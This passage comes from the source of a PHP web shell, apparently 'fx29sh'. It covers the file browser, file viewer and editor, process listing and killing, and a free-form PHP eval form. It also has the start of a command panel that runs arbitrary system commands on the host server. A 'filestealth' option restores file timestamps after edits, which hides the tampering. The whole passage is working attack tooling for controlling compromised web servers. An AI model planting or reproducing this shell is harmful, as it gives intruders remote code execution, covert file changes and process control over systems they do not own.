1876 usort($objects["links"], "tabsort");
1877 usort($objects["files"], "tabsort");
1878 if ($parsesort[1] == "d") {
1879 $objects["folders"] = array_reverse($objects["folders"]);
1880 $objects["files"] = array_reverse($objects["files"]);
1881 }
1882 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1883 $tab = array();
1884 $tab["cols"] = array($row);
1885 $tab["head"] = array();
1886 $tab["folders"] = array();
1887 $tab["links"] = array();
1888 $tab["files"] = array();
1889 $i = 0;
1890 foreach ($objects as $a) {
1891 $v = $a[0];
1892 $o = basename($v);
1893 $dir = dirname($v);
1894 if ($disp_fullpath) { $disppath = $v; }
1895 else { $disppath = $o; }
1896 $disppath = str2mini($disppath,60);
1897 if (in_array($v,$sess_data["cut"])) { $disppath = "<strike>".$disppath."</strike>"; }
1898 elseif (in_array($v,$sess_data["copy"])) { $disppath = "<u>".$disppath."</u>"; }
1899 foreach ($regxp_highlight as $r) {
1900 if ( ereg($r[0],strtolower($o)) ) {
1901 if ((!is_numeric($r[1])) or ($r[1] > 3)) {
1902 $r[1] = 0;
1903 @ob_clean();
1904 disp_error("Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command.");
1905 fx29shexit();
1906 }
1907 else {
1908 $r[1] = round($r[1]);
1909 $isdir = is_dir($v);
1910 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1911 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1912 $disppath = $r[2].$disppath.$r[3];
1913 if (isset($r[4])) { break; }
1914 }
1915 }
1916 }
1917 }
1918 $uo = urlencode($o);
1919 $ud = urlencode($dir);
1920 $uv = urlencode($v);
1921 $row = array();
1922 if ($o == ".") {
1923 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> ".$o."</a>";
1924 $row[] = "CURDIR";
1925 }
1926 elseif ($o == "..") {
1927 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> ".$o."</a>";
1928 $row[] = "UPDIR";
1929 }
1930 elseif (is_dir($v)) {
1931 if (is_link($v)) {
1932 $disppath .= " => ".readlink($v);
1933 $type = "LNK";
1934 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> [".$disppath."]</a>";
1935 }
1936 else {
1937 $type = "DIR";
1938 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> [".$disppath."]</a>";
1939 }
1940 $row[] = $type;
1941 }
1942 elseif(is_file($v)) {
1943 $ext = explode(".",$o);
1944 $c = count($ext)-1;
1945 $ext = $ext[$c];
1946 $ext = strtolower($ext);
1947 $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" alt=\"\"> ".$disppath."</a>";
1948 $row[] = view_size($a[1]);
1949 }
1950 $row[] = @date("d.m.Y H:i:s",$a[2]);
1951 if (!is_windows()) { $row[] = $a[3]; }
1952 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1953
1954 if ($o == ".") {
1955 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
1956 $i--;
1957 }
1958 else {
1959 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";
1960 }
1961
1962 if (is_dir($v)) {
1963 $row[] = "$checkbox <a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ";
1964 }
1965 else {
1966 $row[] = "$checkbox ".
1967 "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ".
1968 "<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\"></a> ".
1969 "<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\"></a>";
1970 }
1971
1972 if (($o == ".") or ($o == "..")) { $tab["head"][] = $row; }
1973 elseif (is_link($v)) { $tab["links"][] = $row; }
1974 elseif (is_dir($v)) { $tab["folders"][] = $row; }
1975 elseif (is_file($v)) { $tab["files"][] = $row; }
1976
1977 $i++;
1978 }
1979 }
1980 #Listing Files & Folders
1981 echo "<div class=barheader>.: ";
1982 if (!empty($fx_infohead)) { echo $fx_infohead; }
1983 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1984 echo " :.</div>\n\n";
1985 echo "<form name=\"ls_form\" action=\"$surl\" method=POST>\n".
1986 "<input type=hidden name=act value=\"$dspact\">\n".
1987 "<input type=hidden name=d value=\"$d\">\n";
1988?>
1989<table class="explorer">
1990<?php
1991 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1992 foreach($table as $row) {
1993 echo "\t<tr>";
1994 foreach($row as $v) { echo "<td>".$v."</td>"; }
1995 echo "</tr>\n";
1996 }
1997?>
1998</table>
1999
2000<div align="right">
2001
2002 <script language="javascript">
2003 function ls_setcheckboxall(status) {
2004 var id = 1; var num = <?php echo(count($table) - 2); ?>;
2005 while (id <= num) {
2006 document.getElementById('actbox'+id).checked = status; id++;
2007 }
2008 }
2009 function ls_reverse_all() {
2010 var id = 1; var num = <?php echo(count($table) - 2); ?>;
2011 while (id <= num) {
2012 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++;
2013 }
2014 }
2015 </script>
2016
2017 <input type="button" onclick="ls_setcheckboxall(true);" value="Check all">
2018 <input type="button" onclick="ls_setcheckboxall(false);" value="Uncheck all">
2019<?php
2020 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0) {
2021 echo "\t<input type=\"submit\" name=\"actarcbuff\" value=\"Archive it!\">".
2022 "\t<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">\n".
2023 "\t<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">\n".
2024 "\t<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">";
2025 }
2026 echo "\n\t".
2027 "<select name=act>\n".
2028 "\t\t<option value=\"".$act."\">With checked:</option>\n";
2029
2030 $f_acts = array("delete","chmod","cut","copy","unselect");
2031 foreach ($f_acts as $f1) {
2032 echo "\t\t<option value=\"$f1\"".($dspact == "$f1"?" selected":"").">$f1</option>\n";
2033 }
2034 ?>
2035 </select>
2036
2037 <input type="submit" value="Confirm">
2038
2039</div>
2040</form>
2041<?php
2042 }
2043 }
2044
2045 ##[ FILE ]##
2046 if ($act == "f") {
2047 echo "<div align=left>";
2048 if (!isset($ft)) { $ft = ""; }
2049 if (!isset($newwin)) { $newwin = ""; }
2050 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
2051 if (file_exists($d.$f)) {
2052 disp_error("Access denied!<br>".htmlspecialchars($d.$f));
2053 }
2054 else {
2055 disp_error("File doesn't exists: ".htmlspecialchars($d.$f)."<br>\n".
2056 "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a>");
2057 }
2058 }
2059 else {
2060 $r = @file_get_contents($d.$f);
2061 $ext = explode(".",$f);
2062 $c = count($ext)-1;
2063 $ext = $ext[$c];
2064 $ext = strtolower($ext);
2065 $rft = "";
2066 foreach ($ftypes as $k => $v) {
2067 if (in_array($ext,$v)) { $rft = $k; break; }
2068 }
2069 if (eregi("sess_(.*)",$f)) { $rft = "phpsess"; }
2070 if (empty($ft)) { $ft = $rft; }
2071
2072 $arr = array(
2073 array("<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\">","info"),
2074 array("<img src=\"".$surl."act=img&img=ext_html\" alt=\"html\">","html"),
2075 array("<img src=\"".$surl."act=img&img=ext_txt\" alt=\"txt\">","txt"),
2076 array("<img src=\"".$surl."act=img&img=ext_ini\" alt=\"ini\">","ini"),
2077 array("Code","code"),
2078 array("Session","phpsess"),
2079 array("SDB","sdb"),
2080 array("<img src=\"".$surl."act=img&img=ext_exe\" alt=\"exe\">","exe"),
2081 array("<img src=\"".$surl."act=img&img=ext_gif\" alt=\"img\">","img"),
2082 array("<img src=\"".$surl."act=img&img=ext_rtf\" alt=\"Notepad\">","notepad"),
2083 array("<img src=\"".$surl."act=img&img=change\" alt=\"Edit\">","edit"),
2084 array("<img src=\"".$surl."act=img&img=download\" alt=\"Download\">","download")
2085 );
2086
2087 echo "<div class=barheader>.: File Viewer [".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f).") :.\n";
2088 echo "<hr size=1 noshade>\n";
2089 foreach($arr as $t) {
2090 if ($t[1] == $rft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=#3366FF>".$t[0]."</font></a>"; }
2091 elseif ($t[1] == $ft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>"; }
2092 else { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>"; }
2093 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."&newwin=1\" title=\"New Window\" target=\"_blank\">+</a>) ";
2094 }
2095 echo "</div>\n";
2096 if ($ft == "info") {
2097 echo "<br><div class=barheader>Information</div>\n".
2098 "<table class=contents>\n".
2099 "<tr><th>Path</th><td>".$d.$f."</td></tr>\n".
2100 "<tr><th>Size</th><td>".view_size(filesize($d.$f))."</td></tr>\n".
2101 "<tr><th>MD5</th><td>".md5_file($d.$f)."</td></tr>\n";
2102 if (!is_windows()) {
2103 echo "<tr><th><b>Owner/Group</b></td><td>";
2104 $ow = posix_getpwuid(fileowner($d.$f));
2105 $gr = posix_getgrgid(filegroup($d.$f));
2106 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2107 }
2108 echo "<tr><th>Perms</th><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr>\n".
2109 "<tr><th>Create time</th><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>\n".
2110 "<tr><th>Access time</th><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>\n".
2111 "<tr><th>Modify time</th><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>\n";
2112 echo "<tr><th>HexDump</th><td>\n".
2113 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a> ] ".
2114 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a> ]<br>\n".
2115 "</td></tr>\n".
2116 "<tr><th>Base64</th><td>\n".
2117 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a> ] ".
2118 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a> ] ".
2119 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a> ] ".
2120 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a> ] ".
2121 "</td></tr>\n".
2122 "</table><br>\n";
2123 $fi = fopen($d.$f,"rb");
2124 if ($fi) {
2125 echo "<div class=barheader>";
2126 if (@$fullhexdump) { echo "Full HexDump"; $str = fread($fi,filesize($d.$f)); }
2127 else { echo "HexDump Preview"; $str = fread($fi,$hexdump_lines*$hexdump_rows); }
2128 $n = 0;
2129 $a0 = "00000000<br>";
2130 $a1 = "";
2131 $a2 = "";
2132 for ($i=0; $i<strlen($str); $i++) {
2133 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2134 switch (ord($str[$i])) {
2135 case 0 : $a2 .= "<font>0</font>"; break;
2136 case 32:
2137 case 10:
2138 case 13: $a2 .= " "; break;
2139 default: $a2 .= htmlspecialchars($str[$i]);
2140 }
2141 $n++;
2142 if ($n == $hexdump_rows) {
2143 $n = 0;
2144 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2145 $a1 .= "<br>";
2146 $a2 .= "<br>";
2147 }
2148 }
2149 echo "</div>\n";
2150 echo "<table class=code><tr><td>".$a0."</td><td>".$a1."</td><td>".$a2."</td></tr></table><br>\n";
2151 }
2152 $henc = "";
2153 $encoded = "";
2154 if (!isset($base64)) { $base64 = ""; }
2155 if ($base64 == 1) {
2156 $henc = "Base64 Encode";
2157 $encoded = base64_encode(file_get_contents($d.$f));
2158 }
2159 elseif($base64 == 2) {
2160 $henc = "Base64 Encode + Chunk";
2161 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2162 }
2163 elseif($base64 == 3) {
2164 $henc = "Base64 Encode + Chunk + Quotes";
2165 $encoded = base64_encode(file_get_contents($d.$f));
2166 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2167 }
2168 elseif($base64 == 4) {
2169 $text = file_get_contents($d.$f);
2170 $encoded = base64_decode($text);
2171 $henc = "<b>Base64 Decode";
2172 if (base64_encode($encoded) != $text) { $henc .= " (Failed!)"; }
2173 }
2174 if (!empty($encoded)) {
2175 echo "<div class=barheader>$henc</div>\n";
2176 echo "<textarea cols=100 rows=10>".htmlspecialchars($encoded)."</textarea>";
2177 echo "<br>\n";
2178 }
2179 }
2180 elseif ($ft == "html") {
2181 if ($newwin) { @ob_clean(); echo $r; fx29shexit(); }
2182 else { echo $r; }
2183 }
2184 elseif ($ft == "txt") {
2185 echo "<center><textarea cols=\"125\" rows=\"20\">".htmlspecialchars($r)."</textarea></center>";
2186 }
2187 elseif ($ft == "ini") {
2188 echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";
2189 }
2190 elseif ($ft == "phpsess") {
2191 echo "<pre>";
2192 $v = explode("|",$r);
2193 echo $v[0]."<br>";
2194 var_dump(unserialize($v[1]));
2195 echo "</pre>";
2196 }
2197 elseif ($ft == "exe") {
2198 $ext = explode(".",$f);
2199 $c = count($ext)-1;
2200 $ext = $ext[$c];
2201 $ext = strtolower($ext);
2202 $rft = "";
2203 foreach ($exeftypes as $k => $v) {
2204 if (in_array($ext,$v)) { $rft = $k; break; }
2205 }
2206 $cmd = str_replace("%f%",$f,$rft);
2207 echo "<b>Execute file:</b>\n".
2208 "<form name=\"f_xfile\" action=\"".$surl."\" method=POST>\n".
2209 "<input type=hidden name=act value=cmd>\n".
2210 "<input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br>\n".
2211 "<input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"> \n".
2212 "<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked> - Display in text-area\n".
2213 "<input type=submit name=submit value=\"Execute\"></form>\n";
2214 }
2215 elseif ($ft == "sdb") { echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>\n"; }
2216 elseif ($ft == "code") {
2217 echo "<div class=code style=\"background-color: ".$highlight_bg."\">\n";
2218 if (@$newwin) { @ob_clean(); highlight_file($d.$f); fx29shexit(); }
2219 else { highlight_file($d.$f); }
2220 echo "\n</div>\n";
2221 }
2222 elseif ($ft == "notepad") {
2223 @ob_clean();
2224 header("Content-type: text/plain");
2225 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2226 echo($r);
2227 exit;
2228 }
2229 elseif ($ft == "download") {
2230 @ob_clean();
2231 header("Content-type: application/octet-stream");
2232 header("Content-length: ".filesize($d.$f));
2233 header("Content-disposition: attachment; filename=\"".$f."\";");
2234 echo $r;
2235 exit;
2236 }
2237 elseif ($ft == "img") {
2238 $inf = getimagesize($d.$f);
2239 if (!$newwin) {
2240 if (empty($imgsize)) {$imgsize = 20;}
2241 $width = $inf[0]/100*$imgsize;
2242 $height = $inf[1]/100*$imgsize;
2243 echo "<center><b>Size:</b> ";
2244 $sizes = array("100","50","20");
2245 foreach ($sizes as $v) {
2246 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2247 if ($imgsize != $v ) {echo $v;}
2248 else {echo "<u>".$v."</u>";}
2249 echo "</a> ";
2250 }
2251 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&newwin=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"></center>";
2252 }
2253 else {
2254 @ob_clean();
2255 $ext = explode($f,".");
2256 $ext = $ext[count($ext)-1];
2257 header("Content-type: ".$inf["mime"]);
2258 readfile($d.$f);
2259 exit;
2260 }
2261 }
2262 elseif ($ft == "edit") {
2263 if (!empty($submit)) {
2264 if ($filestealth) {$stat = stat($d.$f);}
2265 $fp = fopen($d.$f,"w");
2266 if (!$fp) {echo "<b>Can't write to file!</b>";}
2267 else {
2268 echo "<b>Saved!</b>";
2269 fwrite($fp,$edit_text);
2270 fclose($fp);
2271 if ($filestealth) { touch($d.$f,$stat[9],$stat[8]); }
2272 $r = $edit_text;
2273 }
2274 }
2275 $rows = count(explode("\r\n",$r));
2276 if ($rows < 10) { $rows = 10; }
2277 elseif ($rows > 30) { $rows = 30; }
2278 echo "<form name=\"f_save\" action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST>\n".
2279 "<input type=submit name=submit value=\"Save\"> ".
2280 "<input type=\"reset\" value=\"Reset\"> ".
2281 "<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br>".
2282 "<textarea name=\"edit_text\" cols=\"125\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea>\n".
2283 "</form>\n";
2284 }
2285 elseif (!empty($ft)) {
2286 echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
2287 }
2288 else {
2289 echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";
2290 }
2291 }
2292 echo "</div>\n";
2293 }
2294
2295 ##[ DIRECTORY ]##
2296 if ($act == "d") {
2297 if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
2298 else {
2299 echo "<b>Directory information:</b>\n";
2300 echo "<table>\n";
2301 if (!is_windows()) {
2302 echo "<tr><td><b>Owner/Group</b></td><td> ";
2303 $ow = posix_getpwuid(fileowner($d));
2304 $gr = posix_getgrgid(filegroup($d));
2305 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
2306 }
2307 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
2308 }
2309 }
2310
2311 ##[ PROCESSES ]##
2312 if ($act == "processes") {
2313?>
2314<div class="barheader">.: Processes :.</div>
2315
2316<?php
2317 if (!is_windows()) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
2318 else { $handler = "tasklist"; }
2319 $ret = fx29exec($handler);
2320 if (!$ret) { disp_error("Can't execute \"$handler\"!"); }
2321 else {
2322 if (empty($processes_sort)) { $processes_sort = $sort_default; }
2323 $parsesort = parsesort($processes_sort);
2324 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2325 $k = $parsesort[0];
2326 if ($parsesort[1] != "a") {
2327 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";
2328 }
2329 else {
2330 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";
2331 }
2332 $ret = htmlspecialchars($ret);
2333 if (!is_windows()) {
2334 if ($pid) {
2335 if (is_null($sig)) { $sig = 9; }
2336 echo "Sending signal ".$sig." to #".$pid."... ";
2337 if (posix_kill($pid,$sig)) { echo "<b>OK!</b>"; } else { echo "<b>ERROR!</b>"; }
2338 }
2339 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2340 $stack = explode("\n",$ret);
2341 $head = explode(" ",$stack[0]);
2342 unset($stack[0]);
2343 for($i=0;$i<count($head);$i++) {
2344 if ($i != $k) {
2345 $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
2346 }
2347 }
2348 $head[$i] = "";
2349 $prcs = array();
2350 foreach ($stack as $line) {
2351 if (!empty($line)) {
2352 $line = explode(" ",$line);
2353 $line[10] = join(" ",array_slice($line,10));
2354 $line = array_slice($line,0,11);
2355 if ($line[0] == get_current_user()) { $line[0] = '<font class="on">'.$line[0]."</font>"; }
2356 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2357 $prcs[] = $line;
2358 }
2359 }
2360 }
2361 #For Windows - Fixed By FaTaLisTiCz_Fx
2362 else {
2363 if (@$pid) {
2364 echo "Killing PID ".$pid."... ";
2365 echo fx29exec("taskkill /PID $pid /F");
2366 }
2367 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2368 while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
2369 $ret = convert_cyr_string($ret,"d","w");
2370 $stack = explode("\n",$ret);
2371 unset($stack[0],$stack[2]);
2372 $stack = array_values($stack);
2373 $stack[0] = str_replace("Image Name","Image-Name",$stack[0]);
2374 $stack[0] = str_replace("Session Name","Session-Name",$stack[0]);
2375 $stack[0] = str_replace("Mem Usage","Memory-Usage",$stack[0]);
2376 $stack[0] .= " KILL";
2377 $head = explode(" ",$stack[0]);
2378 $stack = array_slice($stack,1);
2379 $head = array_values($head);
2380 if ($parsesort[1] != "a") {
2381 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";
2382 }
2383 else {
2384 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";
2385 }
2386 if ($k > count($head)) {$k = count($head)-1;}
2387 for($i=0;$i<count($head);$i++) {
2388 if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
2389 }
2390 $prcs = array();
2391 unset($stack[0]);
2392 foreach ($stack as $line) {
2393 if (!empty($line)) {
2394 $line = explode(" ",$line);
2395 $line[4] = str_replace(".","",$line[4]);
2396 $line[4] = intval($line[4]) * 1024;
2397 unset($line[5]);
2398 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."\"><u>KILL</u></a>";
2399 $prcs[] = $line;
2400 }
2401 }
2402 }
2403 $head[$k] = "<b>".$head[$k]."</b>".$y;
2404 $v = $processes_sort[0];
2405 usort($prcs,"tabsort");
2406 if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
2407 $tab = array();
2408 $tab[] = $head;
2409 $tab = array_merge($tab,$prcs);
2410 echo "<table class=\"explorer\">\n";
2411 foreach($tab as $i=>$k) {
2412 echo "\t<tr>";
2413 foreach($k as $j=>$v) {
2414 if (is_windows() and $i > 0 and $j == 4) { $v = view_size($v); }
2415 echo "<td>".$v."</td>";
2416 }
2417 echo "</tr>\n";
2418 }
2419 echo "</table>\n";
2420 }
2421 }
2422
2423 ##[ EVAL ]##
2424 if ($act == "eval") {
2425 if (!empty($eval)) {
2426 echo "<div class=barheader>Result of execution this PHP-code:</div>\n";
2427 $tmp = @ob_get_contents();
2428 $olddir = realpath(".");
2429 @chdir($d);
2430 if ($tmp) {
2431 @ob_clean();
2432 eval($eval);
2433 $ret = @ob_get_contents();
2434 $ret = convert_cyr_string($ret,"d","w");
2435 @ob_clean();
2436 echo $tmp;
2437 if (@$eval_txt) {
2438 $rows = count(explode("\r\n",$ret))+1;
2439 if ($rows < 10) {$rows = 10;}
2440 echo "<br><textarea cols=\"125\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2441 }
2442 else {echo $ret."<br>";}
2443 }
2444 else {
2445 if ($eval_txt) {
2446 echo "<br><textarea cols=\"125\" rows=\"10\" readonly>";
2447 eval($eval);
2448 echo "</textarea>";
2449 }
2450 else {echo $ret;}
2451 }
2452 @chdir($olddir);
2453 }
2454 else {
2455 echo "<div class=\"barheader\">.: PHP-code Execution :.</div>\n\n";
2456 if (empty($eval_txt)) { $eval_txt = TRUE; }
2457 }
2458?>
2459<form name="f_eval" action="<?php echo $surl; ?>" method="POST">
2460 <input type="hidden" name="act" value="eval">
2461 <textarea name="eval" cols="125" rows="10">
2462<?php
2463echo htmlspecialchars(@$eval);
2464?>
2465 </textarea>
2466 <input type="hidden" name="d" value="<?php echo $dispd; ?>"><br>
2467 <input type="submit" value="Execute"> Display in text-area <input type="checkbox" name="eval_txt" value="1"<?php if (@$eval_txt) { echo " checked"; } ?>>
2468</form>
2469<?php
2470 }
2471
2472 ##[ UPDATE ]##
2473 if ($act == "update") {
2474 $ret = fx29sh_getupdate(@$confirmupdate);
2475 echo "<b>$ret</b>";
2476 if (stristr($ret,"new version")) {
2477 echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
2478 }
2479 }
2480 if ($act == "phpinfo") { @ob_clean(); phpinfo(); fx29shexit(); }
2481 if ($act == "tools") { fx29sh_tools(); }
2482 if ($act == "about") { fx29sh_about(); }
2483}
2484##[ END OF ACTIONS ]##
2485
2486######################
2487##[ COMMANDS PANEL ]##
2488######################
2489?>
2490
2491</div>
2492<!-- End of Main Info -->
2493
2494<!-- Commands Panel -->
2495<div id="main">
2496
2497 <div class="bartitle"><b>.: COMMANDS PANEL :.</b></div>
2498
2499<table id="mainpanel">
2500 <tr><th colspan="2">Command:</th>
2501 <td>
2502 <form name="f_cmd" method="POST">
2503 <input type="hidden" name="act" value="cmd">
2504 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2505 <input type="hidden" name="cmd_txt" value="1">
2506 <input type="text" name="cmd" size="100" value="<?php echo @htmlspecialchars($cmd); ?>">
2507 <input type="submit" name="submit" value="Execute">
2508 </form>
2509 </td></tr>
2510
2511 <tr><th colspan="2">Quick Commands:</th>
2512 <td>
2513 <form name="f_qcmd" method="POST">
2514 <input type="hidden" name="act" value="cmd">
2515 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2516 <input type="hidden" name="cmd_txt" value="1">
2517 <select name="cmd">
2518<?php
2519foreach ($cmdaliases as $als) {
2520 echo "\t\t\t";
2521 echo '<option value="'.htmlspecialchars($als[1]).'">'.htmlspecialchars($als[0]).'</option>';
2522 echo "\n";
2523}
2524?>
2525 </select>
2526 <input type="submit" name="submit" value="Execute">
2527 </form>
2528 </td></tr>
2529
2530 <tr><th colspan="2" rowspan="2">PHP Filesystem:</th>
2531 <td>
2532 <script language="javascript">
2533 function set_arg(txt1,txt2) {
2534 document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2535 document.forms.fphpfsys.arg1.value = txt1;
2536 document.forms.fphpfsys.arg2.value = txt2;
2537 }
2538 function chg_arg(num,txt1,txt2) {
2539 if (num==0) {
2540 document.forms.fphpfsys.arg1.type = "hidden";
2541 document.forms.fphpfsys.A1.type = "hidden";
2542 }
2543 if (num<=1) {
2544 document.forms.fphpfsys.arg2.type = "hidden";
2545 document.forms.fphpfsys.A2.type = "hidden";
2546 }
2547 if (num==2) {
2548 document.forms.fphpfsys.A1.type = "label";
2549 document.forms.fphpfsys.A2.type = "label";
2550 document.forms.fphpfsys.arg1.type = "text";
2551 document.forms.fphpfsys.arg2.type = "text";
2552 }
2553 document.forms.fphpfsys.A1.value = txt1 + ":";
2554 document.forms.fphpfsys.A2.value = txt2 + ":";
2555 }
2556 </script>
2557 <form name="fphpfsys" method="POST">
2558 <input type="hidden" name="act" value="phpfsys">
2559 <input type="hidden" name="d" value="<?php echo $dispd; ?>">
2560 <select name="phpfsysfunc">
2561<?php
2562foreach ($phpfsaliases as $als) {
2563 if ($als[1]==@$phpfsysfunc) {
2564 echo "\t\t<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\n";
2565 }
2566 else {
